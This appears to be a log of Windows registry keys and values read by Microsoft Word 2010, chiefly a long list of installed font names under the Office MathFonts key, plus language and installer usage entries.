HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\29388
29388
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Arial Unicode MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Batang
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@BatangChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@DFKai-SB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Dotum
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@DotumChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@FangSong
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Gulim
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@GulimChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Gungsuh
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@GungsuhChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@KaiTi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Malgun Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Meiryo
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Meiryo UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Microsoft JhengHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Microsoft YaHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU_HKSCS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU_HKSCS-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS Mincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS PGothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS PMincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS UI Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@NSimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@PMingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@PMingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@SimHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@SimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@SimSun-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Agency FB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Aharoni
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Algerian
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Andalus
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Angsana New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
AngsanaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Aparajita
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arabic Typesetting
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Black
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Narrow
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Rounded MT Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Unicode MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Baskerville Old Face
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Batang
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
BatangChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bauhaus 93
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bell MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Berlin Sans FB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Berlin Sans FB Demi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bernard MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Blackadder ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT Black
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT Poster Compressed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Book Antiqua
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bookman Old Style
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bookshelf Symbol 7
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bradley Hand ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Britannic Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Broadway
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Browallia New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
BrowalliaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Brush Script MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Calibri
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Calibri Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Californian FB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Calisto MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cambria
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cambria Math
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Candara
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Castellar
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Centaur
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Century
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Century Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Century Schoolbook
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Chiller
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Colonna MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Comic Sans MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Consolas
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Constantia
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cooper Black
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Copperplate Gothic Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Copperplate Gothic Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Corbel
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cordia New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
CordiaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Courier New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Curlz MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DaunPenh
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
David
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DFKai-SB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DilleniaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DokChampa
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Dotum
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DotumChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Ebrima
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Edwardian Script ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Elephant
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Engravers MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Bold ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Demi ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Light ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Medium ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Estrangelo Edessa
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
EucrosiaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Euphemia
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
FangSong
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Felix Titling
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Footlight MT Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Forte
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Book
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Demi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Demi Cond
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Heavy
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Medium
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Medium Cond
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
FrankRuehl
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
FreesiaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Freestyle Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
French Script MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gabriola
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Garamond
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gautami
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Georgia
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gigi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans MT Ext Condensed Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans Ultra Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans Ultra Bold Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gisha
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gloucester MT Extra Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Goudy Old Style
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Goudy Stout
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gulim
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
GulimChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gungsuh
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
GungsuhChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Haettenschweiler
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Harlow Solid Italic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Harrington
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
High Tower Text
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Impact
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Imprint MT Shadow
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Informal Roman
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
IrisUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Iskoola Pota
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
JasmineUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Jokerman
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Juice ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
KaiTi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kalinga
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kartika
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Khmer UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
KodchiangUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kokila
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kristen ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kunstler Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lao UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Latha
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Leelawadee
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Levenim MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
LilyUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Bright
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Calligraphy
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Console
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Fax
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Handwriting
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Sans
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Sans Typewriter
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Sans Unicode
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Magneto
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Maiandra GD
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Malgun Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Mangal
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Marlett
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Matura MT Script Capitals
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Meiryo
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Meiryo UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Himalaya
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft JhengHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft New Tai Lue
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft PhagsPa
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Sans Serif
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Tai Le
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Uighur
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft YaHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Microsoft Yi Baiti
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU_HKSCS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU_HKSCS-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Miriam
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Miriam Fixed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Mistral
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Modern No. 20
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Mongolian Baiti
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Monotype Corsiva
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MoolBoran
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Mincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Outlook
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS PGothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS PMincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Reference Sans Serif
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS Reference Specialty
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MS UI Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MT Extra
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
MV Boli
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Narkisim
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Niagara Engraved
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Niagara Solid
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
NSimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Nyala
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
OCR A Extended
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Old English Text MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Onyx
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Palace Script MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Palatino Linotype
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Papyrus
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Parchment
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Perpetua
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Perpetua Titling MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Plantagenet Cherokee
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Playbill
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
PMingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
PMingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Poor Richard
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Pristina
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Raavi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rage Italic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Ravie
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rockwell
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rockwell Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rockwell Extra Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Rod
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Sakkal Majalla
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Script MT Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe Print
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI Semibold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Segoe UI Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Shonar Bangla
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Showcard Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Shruti
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
SimHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Simplified Arabic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Simplified Arabic Fixed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
SimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
SimSun-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Snap ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Stencil
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Sylfaen
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tahoma
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tempus Sans ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Times New Roman
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Traditional Arabic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Trebuchet MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tunga
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tw Cen MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tw Cen MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Tw Cen MT Condensed Extra Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Utsaah
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vani
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Verdana
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vijaya
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Viner Hand ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vivaldi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vladimir Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Vrinda
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Webdings
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wide Latin
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wingdings
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wingdings 2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Wingdings 3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Security\Trusted Documents
LastPurgeTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109E60090400100000000F01FEC\Usage
ProductNonBootFilesIntl_1033
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
WORDFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
VBAFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400100000000F01FEC\Usage
SpellingAndGrammarFiles_1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00100000000F01FEC\Usage
SpellingAndGrammarFiles_3082
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400100000000F01FEC\Usage
SpellingAndGrammarFiles_1036
